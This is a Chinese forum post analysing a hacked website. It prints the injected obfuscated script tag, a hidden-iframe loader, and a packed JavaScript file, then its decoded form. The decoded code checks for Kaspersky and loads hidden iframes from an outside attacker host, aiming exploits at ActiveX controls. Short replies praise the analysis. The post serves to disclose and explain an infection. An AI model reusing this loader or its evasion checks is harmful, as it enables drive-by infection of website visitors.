我的一次网站中马经历

<p>如下代码中涉及的链接皆为原木马链接，请勿点击，不然后果自负！</p><p>中马网页中插入如下代码：<br />&lt;script src=http://w%77w%33.d%64ns.%69nfo/%69%6E%66%6F%2E%6A%73&gt;&lt;/script&gt;<br />通过Unicode解码后源码如下：<br />&lt;script src=http://www3.ddns.info/info.js&gt;&lt;/script&gt;</p><p>其中的info.js文件中的代码如下：</p><p>document.write(&#39;&lt;iframe src="http://www.59.vc/page/add_54738542.htm" width="1" height="1" frameborder="1"&gt;&lt;/iframe&gt;&#39;);<br />document.write(&#39;&lt;iframe src="http://www3.ddns.info/51yes.info.htm" width="1" height="2" frameborder="0"&gt;&lt;/iframe&gt;&#39;);</p><p>上面info.js代码中add_54738542.htm网页代码如下：<br />&lt;script src=addr.js&gt;&lt;/script&gt;<br />&lt;script language="javascript" src="http://count45.51yes.com/click.aspx?id=454286741&amp;logo=1"&gt;&lt;/script&gt;</p><p>上面add_54738542.htm代码中addr.js代码如下：<br />eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&#39;&#39;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#39;&#39;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#39;&#92;&#92;w+&#39;};c=1};while(c--)if(k[c])p=p.replace(new RegExp(&#39;&#92;&#92;b&#39;+e(c)+&#39;&#92;&#92;b&#39;,&#39;g&#39;),k[c]);return p}(&#39;1r A(){1q(i=2;i&lt;1p;i++){l s=4 S();l r=4 S();l t=B.1o(1n+i);s.6="R:@Q:"+t+":&#92;&#92;&#92;&#92;P%O&#92;&#92;&#92;&#92;o%N&#92;&#92;&#92;&#92;o%M%L%1m.0&#92;&#92;&#92;&#92;K&#92;&#92;&#92;&#92;J.I::/H/G.5";r.6="R:@Q:"+t+":&#92;&#92;&#92;&#92;P%O&#92;&#92;&#92;&#92;o%N&#92;&#92;&#92;&#92;o%M%L%1l.0&#92;&#92;&#92;&#92;K&#92;&#92;&#92;&#92;J.I::/H/G.5";9(s.F==E||r.F==E)D 1k}D 1j}l n=4 1i();n.1h(n.1g()+1f*C*C*1e);l z=4 B(8.x);l y="w=";9(!A()&amp;&amp;z.u(y)==-1){8.x="w=1d;1c="+n.1b();q="p";k{9(4 m("v.v.1"))8.j(&#92;&#39;&lt;3 h=g:f 6="d://c.b/1a.5"&gt;&lt;/3&gt;&#92;&#39;)}a(e){}k{9(19.18.17().u("16 7")==-1)8.j(&#92;&#39;&lt;3 h=g:f 6="d://c.b/15.5"&gt;&lt;/3&gt;&#92;&#39;)}a(e){}q="p";k{9(4 m("14.13.1"))8.j(&#92;&#39;&lt;3 h=g:f 6="d://c.b/12.5"&gt;&lt;/3&gt;&#92;&#39;)}a(e){}k{9(4 m("11.10"))8.j(&#92;&#39;&lt;3 h=g:f 6="d://c.b/Z.5"&gt;&lt;/3&gt;&#92;&#39;)}a(e){}k{9(4 m("Y.X.1"))8.j(&#92;&#39;&lt;3 h=g:f 6="d://c.b/W.5"&gt;&lt;/3&gt;&#92;&#39;)}a(e){}k{9(4 m("V.U.1"))8.j(&#92;&#39;&lt;3 h=g:f 6="d://c.b/T.5"&gt;&lt;/3&gt;&#92;&#39;)}a(e){}q="p"}&#39;,62,90,&#39;|||iframe|new|gif|src||document|if|catch|vg|w18|http||none|display|style||write|try|var|ActiveXObject|Then|Kaspersky|bbbbbbbbbbbbbbbbbbbbb****|uuuuuuuuuuudddddddd|kis7|kis6|root|indexOf|IERPCtl|Cookie1|cookie|cookieHeader|aaffdasfascookie|bIsKIS|String|60|return|41|height|help|images|chm|context|Doc|20Security|20Internet|20Lab|20Files|Program|MSITStore|mk|Image|bf|StormPlayer|MPS|lz|GLChatCtrl|GLCHAT|xl|Vod|DPClient|baidu|Tool|BaiduBar|ms|msie|toLowerCase|userAgent|navigator|real|toGMTString|expires|POPWINDOS|1000|24|getTime|setTime|Date|false|true|207|206|65|fromCharCode|26|for|function&#39;.split(&#39;|&#39;),0,{}))</p><p>解码后为：<br />function bIsKIS(){for(i=2;i&lt;26;i++){var kis6=new Image();var kis7=new Image();var root=String.fromCharCode(65+i);kis6.src="mk:@MSITStore:"+root+":&#92;&#92;Program%20Files&#92;&#92;Kaspersky%20Lab&#92;&#92;Kaspersky%20Internet%20Security%206.0&#92;&#92;Doc&#92;&#92;context.chm::/images/help.gif";kis7.src="mk:@MSITStore:"+root+":&#92;&#92;Program%20Files&#92;&#92;Kaspersky%20Lab&#92;&#92;Kaspersky%20Internet%20Security%207.0&#92;&#92;Doc&#92;&#92;context.chm::/images/help.gif";if(kis6.height==41||kis7.height==41)return true}return false}var Then=new Date();Then.setTime(Then.getTime()+24*60*60*1000);var aaffdasfascookie=new String(document.cookie);var cookieHeader="Cookie1=";if(!bIsKIS()&amp;&amp;aaffdasfascookie.indexOf(cookieHeader)==-1){document.cookie="Cookie1=POPWINDOS;expires="+Then.toGMTString();uuuuuuuuuuudddddddd="bbbbbbbbbbbbbbbbbbbbb****";try{if(new ActiveXObject("IERPCtl.IERPCtl.1"))document.write(&#39;&lt;iframe style=display:none src="http://w18.vg/real.gif"&gt;&lt;/iframe&gt;&#39;)}catch(e){}try{if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)document.write(&#39;&lt;iframe style=display:none src="http://w18.vg/ms.gif"&gt;&lt;/iframe&gt;&#39;)}catch(e){}uuuuuuuuuuudddddddd="bbbbbbbbbbbbbbbbbbbbb****";try{if(new ActiveXObject("BaiduBar.Tool.1"))document.write(&#39;&lt;iframe style=display:none src="http://w18.vg/baidu.gif"&gt;&lt;/iframe&gt;&#39;)}catch(e){}try{if(new ActiveXObject("DPClient.Vod"))document.write(&#39;&lt;iframe style=display:none src="http://w18.vg/xl.gif"&gt;&lt;/iframe&gt;&#39;)}catch(e){}try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))document.write(&#39;&lt;iframe style=display:none src="http://w18.vg/lz.gif"&gt;&lt;/iframe&gt;&#39;)}catch(e){}try{if(new ActiveXObject("MPS.StormPlayer.1"))document.write(&#39;&lt;iframe style=display:none src="http://w18.vg/bf.gif"&gt;&lt;/iframe&gt;&#39;)}catch(e){}uuuuuuuuuuudddddddd="bbbbbbbbbbbbbbbbbbbbb****"}</p><p>上面info.js代码中的51yes.info.htm网页代码如下：<br />&lt;script language="javascript" src="http://count23.51yes.com/click.aspx?id=239507339&amp;logo=1"&gt;&lt;/script&gt;</p><p>&nbsp;</p><p>［此帖子已被 灰儿 在 2008-01-14 10:41:54 编辑过］

<p>分析那个透彻。。</p><p>灰儿技术就是厉害</p><p>多想灰儿学习</p>